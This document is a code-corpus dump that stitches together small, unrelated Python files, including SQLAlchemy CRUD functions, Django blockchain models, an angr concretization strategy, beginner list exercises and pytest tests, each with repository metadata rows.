] | null | null | null | cgdms/observables.py | Jonahowns/oxTorch_prototype | e6c7c393b1100bc8604bd9ffc7a70c9c77e9e531 | [
"MIT"
] | null | null | null | cgdms/observables.py | Jonahowns/oxTorch_prototype | e6c7c393b1100bc8604bd9ffc7a70c9c77e9e531 | [
"MIT"
] | null | null | null | import torch
# Methods for calculating properties of simulation system
class Observables():
def __init__(self, observable_dict):
supported_observables = ['kinetic_energy', 'angles']
def kinetic_energy(self, ): | 20.909091 | 60 | 0.730435 | 25 | 230 | 6.4 | 0.8 | 0.1625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.182609 | 230 | 11 | 61 | 20.909091 | 0.851064 | 0.23913 | 0 | 0 | 0 | 0 | 0.114943 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.2 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
01811fee4ed6c28442f339157b84a06358d36dfb | 1,186 | py | Python | app/actions/campaigns.py | appliedbloc/cm-data-service | 596e9309952fee1e9cb34bbb812ccf78af276a2f | [
"MIT"
] | null | null | null | app/actions/campaigns.py | appliedbloc/cm-data-service | 596e9309952fee1e9cb34bbb812ccf78af276a2f | [
"MIT"
] | null | null | null | app/actions/campaigns.py | appliedbloc/cm-data-service | 596e9309952fee1e9cb34bbb812ccf78af276a2f | [
"MIT"
] | null | null | null | from sqlalchemy.orm import Session
from sqlalchemy import update
from fastapi.encoders import jsonable_encoder
import models, schemas
def get_campaign(db: Session, campaign_id: int):
return db.query(models.Campaign).filter(models.Campaign.id == campaign_id).first()
def get_campaign_by_recipient(db: Session, recipient: str):
return db.query(models.Campaign).filter(models.Campaign.recipient == recipient).first()
def get_campaigns(db: Session, skip: int = 0, limit: int = 10):
return db.query(models.Campaign).offset(skip).limit(limit).all()
def create_campaign(db: Session, campaign: schemas.CampaignCreate):
db_campaign = models.Campaign(**campaign.dict())
db.add(db_campaign)
db.commit()
db.refresh(db_campaign)
return db_campaign
def update_campaign(db: Session, db_campaign: models.Campaign, campaign: schemas.CampaignUpdate):
campaign_in = campaign.dict(exclude_unset=True)
obj_data = jsonable_encoder(db_campaign)
for field in obj_data:
if field in campaign_in:
setattr(db_campaign, field, campaign_in[field])
db.add(db_campaign)
db.commit()
db.refresh(db_campaign)
return db_campaign
| 29.65 | 97 | 0.741147 | 161 | 1,186 | 5.291925 | 0.304348 | 0.117371 | 0.059859 | 0.066901 | 0.353286 | 0.246479 | 0.246479 | 0.246479 | 0.13615 | 0.13615 | 0 | 0.002985 | 0.152614 | 1,186 | 39 | 98 | 30.410256 | 0.844776 | 0 | 0 | 0.307692 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.192308 | false | 0 | 0.153846 | 0.115385 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
01877c295cfb79d0a2968d5c567c61f778aceba2 | 537 | py | Python | angr/concretization_strategies/range.py | Kyle-Kyle/angr | 345b2131a7a67e3a6ffc7d9fd475146a3e12f837 | [
"BSD-2-Clause"
] | 6,132 | 2015-08-06T23:24:47.000Z | 2022-03-31T21:49:34.000Z | angr/concretization_strategies/range.py | Kyle-Kyle/angr | 345b2131a7a67e3a6ffc7d9fd475146a3e12f837 | [
"BSD-2-Clause"
] | 2,272 | 2015-08-10T08:40:07.000Z | 2022-03-31T23:46:44.000Z | angr/concretization_strategies/range.py | Kyle-Kyle/angr | 345b2131a7a67e3a6ffc7d9fd475146a3e12f837 | [
"BSD-2-Clause"
] | 1,155 | 2015-08-06T23:37:39.000Z | 2022-03-31T05:54:11.000Z | from . import SimConcretizationStrategy
class SimConcretizationStrategyRange(SimConcretizationStrategy):
"""
Concretization strategy that resolves addresses to a range.
"""
def __init__(self, limit, **kwargs): #pylint:disable=redefined-builtin
super(SimConcretizationStrategyRange, self).__init__(**kwargs)
self._limit = limit
def _concretize(self, memory, addr):
mn,mx = self._range(memory, addr)
if mx - mn <= self._limit:
return self._eval(memory, addr, self._limit)
| 33.5625 | 74 | 0.692737 | 54 | 537 | 6.62963 | 0.574074 | 0.100559 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.206704 | 537 | 15 | 75 | 35.8 | 0.840376 | 0.171322 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
0189230a744e18bc051065681a3800056f107598 | 2,611 | py | Python | block/models.py | tiantian-commits/fcexplorer | 492f9a5d9cd538d37b4c172248fc3b1818bde1d8 | [
"Apache-2.0"
] | null | null | null | block/models.py | tiantian-commits/fcexplorer | 492f9a5d9cd538d37b4c172248fc3b1818bde1d8 | [
"Apache-2.0"
] | 7 | 2020-02-12T03:22:53.000Z | 2022-03-12T00:11:02.000Z | block/models.py | tiantian-commits/fcexplorer | 492f9a5d9cd538d37b4c172248fc3b1818bde1d8 | [
"Apache-2.0"
] | null | null | null | from django.db import models
from django.utils import timezone
class Miner(models.Model):
id = models.CharField(primary_key=True, max_length=28)
power = models.IntegerField(default=0)
percent = models.IntegerField(default=0)
class Block(models.Model):
miner = models.CharField(max_length=100)
parent_weight = models.IntegerField(default=-1)
height = models.IntegerField(default=-1)
hash = models.CharField(unique=True, max_length=100)
timestamp = models.IntegerField(verbose_name="更新时间戳", default=timezone.now)
class Ticket(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
vrf_proof = models.CharField(max_length=100)
class EPostProof(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
proof = models.CharField(max_length=100)
postrand = models.CharField(max_length=100)
class Candidate(models.Model):
epost_proof = models.ForeignKey(EPostProof, on_delete=models.CASCADE)
partial = models.CharField(max_length=100)
sector_id = models.IntegerField(default=-1)
challenge_index = models.IntegerField(default=-1)
parent_weight = models.IntegerField(default=-1)
class Parent(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
slash = models.CharField(max_length=100)
class ParentStateRoot(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
slash = models.CharField(max_length=100)
class ParentMessageReceipt(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
slash = models.CharField(max_length=100)
class Message(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
slash = models.CharField(max_length=100)
class BLSAggregate(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
type = models.CharField(max_length=50)
data = models.CharField(max_length=100)
class BlockSig(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
type = models.CharField(max_length=50)
data = models.CharField(max_length=128)
class BlsMessage(models.Model):
block = models.ForeignKey(Block, on_delete=models.CASCADE)
to = models.CharField(max_length=100)
_from = models.CharField(max_length=100)
nonce = models.IntegerField(default=-1)
value = models.CharField(max_length=52)
gas_price = models.IntegerField(default=-1)
gas_limit = models.IntegerField(default=-1)
method = models.IntegerField(default=-1)
| 38.397059 | 83 | 0.730372 | 323 | 2,611 | 5.783282 | 0.216718 | 0.14454 | 0.154176 | 0.205567 | 0.577623 | 0.519807 | 0.420771 | 0.420771 | 0.420771 | 0.420771 | 0 | 0.02779 | 0.159326 | 2,611 | 67 | 84 | 38.970149 | 0.823235 | 0 | 0 | 0.314815 | 0 | 0 | 0.001916 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
018d74f48019f57d43f123f4ae920c638193296e | 216 | py | Python | zoffimzoo/admin.py | normanjaeckel/ZoffImZoo | 14f723f045090616d06c785b6199b0e1a9e25906 | [
"MIT"
] | null | null | null | zoffimzoo/admin.py | normanjaeckel/ZoffImZoo | 14f723f045090616d06c785b6199b0e1a9e25906 | [
"MIT"
] | 4 | 2021-03-19T01:58:02.000Z | 2021-09-22T18:53:40.000Z | zoffimzoo/admin.py | normanjaeckel/ZoffImZoo | 14f723f045090616d06c785b6199b0e1a9e25906 | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Game
class GameAdmin(admin.ModelAdmin):
list_display = ("round", "date", "players")
readonly_fields = ("cards",)
admin.site.register(Game, GameAdmin)
| 18 | 47 | 0.717593 | 26 | 216 | 5.884615 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.152778 | 216 | 11 | 48 | 19.636364 | 0.836066 | 0 | 0 | 0 | 0 | 0 | 0.097222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.833333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
018e8fd04097fc90ab95b7e0a4816b133f2ae0c7 | 751 | py | Python | CS_4085 Python/Book Examples/coin.py | hickmanjv/hickmanjv | 390e22317b9ace552855897af19963ffb416b1b7 | [
"MIT"
] | null | null | null | CS_4085 Python/Book Examples/coin.py | hickmanjv/hickmanjv | 390e22317b9ace552855897af19963ffb416b1b7 | [
"MIT"
] | null | null | null | CS_4085 Python/Book Examples/coin.py | hickmanjv/hickmanjv | 390e22317b9ace552855897af19963ffb416b1b7 | [
"MIT"
] | null | null | null | import random
class Coin:
""" Class for the coin object, will provide methods
for displaying the side of the coin and tossing it
"""
# This method initializes the coins as Heads up
# the public sideup attribute initially set to Heads
def __init__(self):
self.__sideup = 'Heads'
# This method will generate a random number, 0 or 1
# and based on the result set the side of the coin to
# either Heads or Tails
def toss(self):
if random.randint(0,1) == 0:
self.__sideup = 'Heads'
else:
self.__sideup = 'Tails'
# This method will return the value of the side that
# is currently facing up on the coin
def get_sideup(self):
return self.__sideup
| 30.04 | 57 | 0.641811 | 110 | 751 | 4.263636 | 0.490909 | 0.059701 | 0.03838 | 0.051173 | 0.06823 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00947 | 0.296937 | 751 | 24 | 58 | 31.291667 | 0.878788 | 0.540613 | 0 | 0.181818 | 0 | 0 | 0.04644 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.090909 | 0.090909 | 0.545455 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6d96c473f3c2f584bde624c255143643ac93eabf | 275 | py | Python | src/schemas/serlializers/bright.py | rena2damas/healthcheck-service | d889342bc2cd554e412101f8bf6ca2cf19fcf4d7 | [
"MIT"
] | null | null | null | src/schemas/serlializers/bright.py | rena2damas/healthcheck-service | d889342bc2cd554e412101f8bf6ca2cf19fcf4d7 | [
"MIT"
] | 1 | 2022-03-31T10:45:00.000Z | 2022-03-31T10:45:00.000Z | src/schemas/serlializers/bright.py | rena2damas/healthcheck-service | d889342bc2cd554e412101f8bf6ca2cf19fcf4d7 | [
"MIT"
] | null | null | null | from marshmallow import Schema, fields
class HealthCheckSchema(Schema):
name = fields.String()
status = fields.String(attribute="status.name")
node = fields.String()
seconds_ago = fields.Integer()
timestamp = fields.Integer()
info = fields.String()
| 25 | 51 | 0.698182 | 30 | 275 | 6.366667 | 0.566667 | 0.251309 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.185455 | 275 | 10 | 52 | 27.5 | 0.852679 | 0 | 0 | 0 | 0 | 0 | 0.04 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
6d9bdbfa4075284f59b1627de4aa837dd6f78591 | 284 | py | Python | list3.py | mg9313/PythonBasiscs7-22-19 | 673cda9c91dc55439714016dc5b19f3d9b8c117c | [
"MIT"
] | null | null | null | list3.py | mg9313/PythonBasiscs7-22-19 | 673cda9c91dc55439714016dc5b19f3d9b8c117c | [
"MIT"
] | null | null | null | list3.py | mg9313/PythonBasiscs7-22-19 | 673cda9c91dc55439714016dc5b19f3d9b8c117c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
list1 = ['cisco-nxos', 'arista_eos', 'cisco-ios']
print(list1)
print(list1[1])
list1.extend(['juniper'])
print(list1)
list1.append(['10.1.0.1','10.2.0.1','10.3.0.1'])
print(list1)
print("4th element in list1 is ".format(list1[4]))
print(list1[4][0])
| 12.909091 | 50 | 0.637324 | 50 | 284 | 3.6 | 0.5 | 0.277778 | 0.166667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12253 | 0.109155 | 284 | 21 | 51 | 13.52381 | 0.588933 | 0.073944 | 0 | 0.333333 | 0 | 0 | 0.325581 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.666667 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
6da70f191a8e5bcc16e5e7011e1d280fe3ed617c | 1,040 | py | Python | Exercicios/ex017.py | vaniaferreira/Python | 5b3158836d47c0bb7bc446e6636e7b3dcea8a0ab | [
"MIT"
] | null | null | null | Exercicios/ex017.py | vaniaferreira/Python | 5b3158836d47c0bb7bc446e6636e7b3dcea8a0ab | [
"MIT"
] | null | null | null | Exercicios/ex017.py | vaniaferreira/Python | 5b3158836d47c0bb7bc446e6636e7b3dcea8a0ab | [
"MIT"
] | null | null | null | #Listas
# (Tuplas) --> São imutavéis
# [Listas] --> Podem ser mutavéis
# {Dicionário}
num = [2, 5, 9, 1]
print(num)
num[2] = 3
print(num)
num.append(7)
print(num)
num.sort()
print(num)
num.sort(reverse=True)
print(num)
print(len(num))
num.insert(2,0)
print(num)
#Elimina o último item da lista
num.pop()
print(num)
num.pop(2)
print(num)
num.remove(2)
print(num)
if 4 in num:
num.remove(4)
else:
print('Não achei o número 4')
print(num)
print('-' * 50)
print(f'{"Valores":^50}')
print('-' * 50)
valores = list()
valores.append(5)
valores.append(9)
valores.append(4)
for v in valores:
print(v)
for c, v in enumerate(valores):
print(f'Na posição {c} encontrei o valor {v}')
print('Cheguei ao fim da lista')
lista = list()
for cont in range(0,5):
lista.append(int(input('Digite um valor: ')))
for c, cont in enumerate(lista):
print(f'Na posição {c} encontrei o valor {cont}')
print('-' * 30)
a = [2,3,4,7]
b = a[:] #Copia todos os elementos de A na B
b[2] = 8
print(f'Lista A: {a}')
print(f'Lista B: {b}')
| 16 | 53 | 0.636538 | 187 | 1,040 | 3.540107 | 0.363636 | 0.120846 | 0.099698 | 0.045317 | 0.093656 | 0.093656 | 0.093656 | 0.093656 | 0 | 0 | 0 | 0.038372 | 0.173077 | 1,040 | 64 | 54 | 16.25 | 0.731395 | 0.136538 | 0 | 0.255319 | 0 | 0 | 0.198876 | 0 | 0 | 0 | 0 | 0.015625 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.468085 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
6db39230880a4233b93029c6943732c4c14b9359 | 1,181 | py | Python | test/gel/test_concepts.py | AndrewIjano/pgel-sat | 25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45 | [
"MIT"
] | null | null | null | test/gel/test_concepts.py | AndrewIjano/pgel-sat | 25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45 | [
"MIT"
] | null | null | null | test/gel/test_concepts.py | AndrewIjano/pgel-sat | 25b6ef5922a9fa79bbcf9896cf9a5eefd9925e45 | [
"MIT"
] | null | null | null | import pytest
from pgel_sat import gel
@pytest.fixture
def concept_with_arrows():
concept_a = gel.Concept('a')
concept_b = gel.Concept('b')
role = gel.Role('r')
arrow1 = gel.Arrow(concept_b, role)
concept_a.add_arrow(arrow1)
concept_c = gel.Concept('c')
arrow2 = gel.Arrow(concept_c, role)
concept_a.add_arrow(arrow2)
return concept_a, [arrow1, arrow2]
def test_concept_arrow_addition(concept_with_arrows):
concept, arrows = concept_with_arrows
assert set(arrows) == concept.sup_arrows
def test_concept_same_arrow_addition(concept_with_arrows):
concept, arrows = concept_with_arrows
concept.add_arrow(arrows[0])
assert len(concept.sup_arrows) == len(arrows)
def test_concept_has_arrow(concept_with_arrows):
concept, arrows = concept_with_arrows
assert concept.has_arrow(arrows[0])
def test_same_values_arrow_equal(concept_with_arrows):
concept, arrows = concept_with_arrows
arrow = arrows[0]
arrow2 = gel.Arrow(arrow.concept, arrow.role)
assert concept.has_arrow(arrow2)
def test_concept_has_name(concept_with_arrows):
concept, _ = concept_with_arrows
assert concept.name == 'a'
| 25.673913 | 58 | 0.741744 | 168 | 1,181 | 4.880952 | 0.196429 | 0.190244 | 0.228049 | 0.204878 | 0.369512 | 0.27561 | 0.27561 | 0.27561 | 0.218293 | 0.146341 | 0 | 0.011111 | 0.161727 | 1,181 | 45 | 59 | 26.244444 | 0.817172 | 0 | 0 | 0.129032 | 0 | 0 | 0.004234 | 0 | 0 | 0 | 0 | 0 | 0.16129 | 1 | 0.193548 | false | 0 | 0.064516 | 0 | 0.290323 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6dd048af64ad007c298beddf229406030d08f28b | 77 | py | Python | src/admin_extra_urls/__init__.py | domdinicola/django-admin-extra-urls | 160af782862fe10ea15b7e9cee9e793871c0b6c7 | [
"BSD-1-Clause"
] | null | null | null | src/admin_extra_urls/__init__.py | domdinicola/django-admin-extra-urls | 160af782862fe10ea15b7e9cee9e793871c0b6c7 | [
"BSD-1-Clause"
] | null | null | null | src/admin_extra_urls/__init__.py | domdinicola/django-admin-extra-urls | 160af782862fe10ea15b7e9cee9e793871c0b6c7 | [
"BSD-1-Clause"
] | null | null | null | NAME = "admin-extra-urls"
VERSION = __version__ = "2.1.0"
__author__ = 'sax'
| 19.25 | 31 | 0.675325 | 11 | 77 | 4 | 0.909091 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045455 | 0.142857 | 77 | 3 | 32 | 25.666667 | 0.621212 | 0 | 0 | 0 | 0 | 0 | 0.311688 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6dda0de1e6761445defc5eae058e05e8a09c5910 | 220 | py | Python | brudnopis.py | dmochowski/testrepo | 0a418e363acfdd7ef3d3a5cce0205288fccdd2e7 | [
"MIT"
] | null | null | null | brudnopis.py | dmochowski/testrepo | 0a418e363acfdd7ef3d3a5cce0205288fccdd2e7 | [
"MIT"
] | null | null | null | brudnopis.py | dmochowski/testrepo | 0a418e363acfdd7ef3d3a5cce0205288fccdd2e7 | [
"MIT"
] | null | null | null | def ciagCyfr(x):
lista = []
for i in range(x):
if i%2 == 0:
i = i+1
lista.append(i)
else:
i = (i+1)*(-1)
lista.append(i)
print(lista)
| 20 | 28 | 0.359091 | 29 | 220 | 2.724138 | 0.517241 | 0.050633 | 0.075949 | 0.329114 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.045045 | 0.495455 | 220 | 10 | 29 | 22 | 0.666667 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0 | 0 | 0.1 | 0.1 | 1 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6de281144aeaf2f6533fcee77b60014dde84c370 | 532 | py | Python | setup.py | epfml/collaborative-attention | 5b05408640e339970f1009e06cac678e2a1ab534 | [
"Apache-2.0"
] | 125 | 2020-07-01T10:19:30.000Z | 2022-03-31T02:33:37.000Z | setup.py | epfml/collaborative-attention | 5b05408640e339970f1009e06cac678e2a1ab534 | [
"Apache-2.0"
] | 5 | 2020-07-01T20:13:32.000Z | 2021-09-14T07:27:04.000Z | setup.py | epfml/collaborative-attention | 5b05408640e339970f1009e06cac678e2a1ab534 | [
"Apache-2.0"
] | 15 | 2020-07-01T22:36:19.000Z | 2021-09-14T13:54:42.000Z | import setuptools
setuptools.setup(
name="collaborative-attention",
version="0.1.0",
author="Jean-Baptiste Cordonnier",
author_email="jean-baptiste.cordonnier@epfl.ch",
description="",
url="https://github.com/collaborative-attention",
packages=["collaborative_attention"],
package_dir={"": "src/"},
python_requires=">=3.6",
install_requires=[
"tensorly>=0.4.5",
"transformers==2.11.0",
"parameterized>=0.7.4",
"tqdm>=4.46.0",
"wandb==0.9.2",
],
)
| 25.333333 | 53 | 0.605263 | 61 | 532 | 5.196721 | 0.688525 | 0.208202 | 0.138801 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051765 | 0.201128 | 532 | 20 | 54 | 26.6 | 0.694118 | 0 | 0 | 0 | 0 | 0 | 0.445489 | 0.146617 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.052632 | 0 | 0.052632 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
6de40f59db19fccae21d34f8b56c75cbbb31d4cc | 452 | py | Python | tweetf0rm/handler/inmemory_handler.py | amaurywalbert/mytweetf0rm | 2272b53214b3669eb104762f5b5b38ff4adda435 | [
"MIT"
] | 1 | 2015-02-16T11:08:35.000Z | 2015-02-16T11:08:35.000Z | tweetf0rm/handler/inmemory_handler.py | maruthiprithivi/tweetf0rm | f59e57495afda05032d41b161b5aed74f2bc4dfe | [
"MIT"
] | null | null | null | tweetf0rm/handler/inmemory_handler.py | maruthiprithivi/tweetf0rm | f59e57495afda05032d41b161b5aed74f2bc4dfe | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
InMemoryHandler: handler that's collects the data in memory
'''
import logging
logger = logging.getLogger(__name__)
from .base_handler import BaseHandler
class InMemoryHandler(BaseHandler):
'''
inmemory_handler_config = {
"name": "InMemoryHandler",
"args": {}
}
inmemory_handler = create_handler(inmemory_handler_config)
'''
def __init__(self):
super(InMemoryHandler, self).__init__()
| 18.833333 | 59 | 0.725664 | 50 | 452 | 6.18 | 0.66 | 0.145631 | 0.135922 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002564 | 0.137168 | 452 | 23 | 60 | 19.652174 | 0.789744 | 0.542035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
6dffa54327bbf8de0bf2ad45f416684a69b2482a | 2,047 | py | Python | python/chisel/util/__init__.py | wilkeraziz/chisel | 3e23a7c0937bbd56d2dffb1df7594878fb9c75eb | [
"Apache-2.0"
] | 1 | 2017-01-15T01:01:16.000Z | 2017-01-15T01:01:16.000Z | python/chisel/util/__init__.py | wilkeraziz/chisel | 3e23a7c0937bbd56d2dffb1df7594878fb9c75eb | [
"Apache-2.0"
] | null | null | null | python/chisel/util/__init__.py | wilkeraziz/chisel | 3e23a7c0937bbd56d2dffb1df7594878fb9c75eb | [
"Apache-2.0"
] | null | null | null | __author__ = 'waziz'
from itertools import izip
import numpy as np
def scaled_fmap(fmap, scaling=1.0):
"""Returns a feature map scaled by a constant"""
if type(fmap) is dict:
return {k: v*scaling for k, v in fmap.iteritems()}
else:
return {k: v*scaling for k, v in fmap}
def fmap_dot(fmap, wmap):
return np.sum([fmap.get(fname, 0) * fweight for fname, fweight in wmap.iteritems()])
#return sum(fmap.get(fname, 0) * fweight for fname, fweight in wmap.iteritems())
def str2fmap(line):
"""converts a string of the type 'f1=v1 f2=v2' into a feature map {f1: v1, f2: v2}"""
return {k: float(v) for k, v in (pair.split('=') for pair in line.split())}
def fpairs2str(iterable):
"""converts an iterable of feature-value pairs into string"""
return ' '.join('%s=%s' % (k, str(v)) for k, v in iterable)
def dict2str(d, separator='=', sort=False, reverse=False):
"""converts an iterable of feature-value pairs into string"""
if sort:
return ' '.join('{0}{1}{2}'.format(k, separator, v) for k, v in sorted(d.iteritems(), reverse=reverse))
else:
return ' '.join('{0}{1}{2}'.format(k, separator, v) for k, v in d.iteritems())
def npvec2str(nparray, fnames=None):
"""converts an array of feature values into a string (fnames can be provided)"""
if fnames is None:
return ' '.join(str(fvalue) for fvalue in nparray)
else:
return ' '.join('{0}={1}'.format(fname, fvalue) for fname, fvalue in izip(fnames, nparray))
def kv2str(key, value, named=True):
return '{0}={1}'.format(key, value) if named else str(value)
def resample(p, size):
"""Resample elements according to a distribution p and returns an empirical distribution"""
support = p.size
hist, edges = np.histogram(np.random.choice(np.arange(support), size, p=p), bins=np.arange(support + 1), density=True)
return hist
def obj2id(element, vocab):
v = vocab.get(element, None)
if v is None:
v = len(vocab)
vocab[element] = v
return v
| 32.492063 | 122 | 0.642404 | 319 | 2,047 | 4.103448 | 0.329154 | 0.012223 | 0.022918 | 0.032086 | 0.276547 | 0.249045 | 0.249045 | 0.249045 | 0.249045 | 0.13751 | 0 | 0.017901 | 0.208598 | 2,047 | 62 | 123 | 33.016129 | 0.790123 | 0.232047 | 0 | 0.083333 | 0 | 0 | 0.031798 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.055556 | 0.055556 | 0.638889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
a302e4dc6a25d60caa75b03e63b9a88473078663 | 2,416 | py | Python | oldDir/game.py | hydrogen602/settlersPy | 5a1df6162d35b6ae9eeefd11c9a0a9ba7a19019c | [
"MIT"
] | null | null | null | oldDir/game.py | hydrogen602/settlersPy | 5a1df6162d35b6ae9eeefd11c9a0a9ba7a19019c | [
"MIT"
] | null | null | null | oldDir/game.py | hydrogen602/settlersPy | 5a1df6162d35b6ae9eeefd11c9a0a9ba7a19019c | [
"MIT"
] | null | null | null | from __future__ import annotations
from typing import Iterator, TYPE_CHECKING
